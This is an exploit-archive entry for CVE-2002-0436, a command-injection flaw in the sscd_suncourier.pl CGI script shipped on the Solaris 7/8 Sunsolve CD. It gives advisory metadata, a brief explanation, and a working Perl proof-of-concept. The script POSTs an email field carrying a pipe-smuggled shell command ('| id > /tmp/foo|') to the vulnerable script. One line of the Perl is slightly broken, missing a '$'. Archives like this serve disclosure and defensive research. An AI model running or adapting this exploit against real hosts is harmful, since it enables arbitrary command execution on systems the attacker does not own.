Solaris 7.0/8 Sunsolve CD - SSCD_SunCourier.pl CGI Script Arbitrary Command Execution
Author: Fyodor
type: remote
platform: cgi
port:
date_added: 2002-03-11
date_updated: 2012-09-17
verified: 1
codes: CVE-2002-0436;OSVDB-10598
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/4269/info
The Sunsolve CD is part of the Solaris Media pack. It is included as a documentation resource, and is available for the Solaris Operating Environment.
A CGI script included with the CD does not adequately sanitize input. Due to a design failure which does not remove special characters such as the pipe (|) character, a user submitting a malicious email address to the script could execute arbitrary commands with the permissions of the executing program.
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
ua = new LWP::UserAgent;
$ua->agent("Scrapers");
my $req = POST 'http://sunsolveCD.box.com:8383/cd-cgi/sscd_suncourier.pl',
[
step => "submit" ,
emailaddr => "foo\@bar.com| id > /tmp/foo|"];
$res = $ua->request($req);
print $res->as_string;
print "code", $res->code, "\n";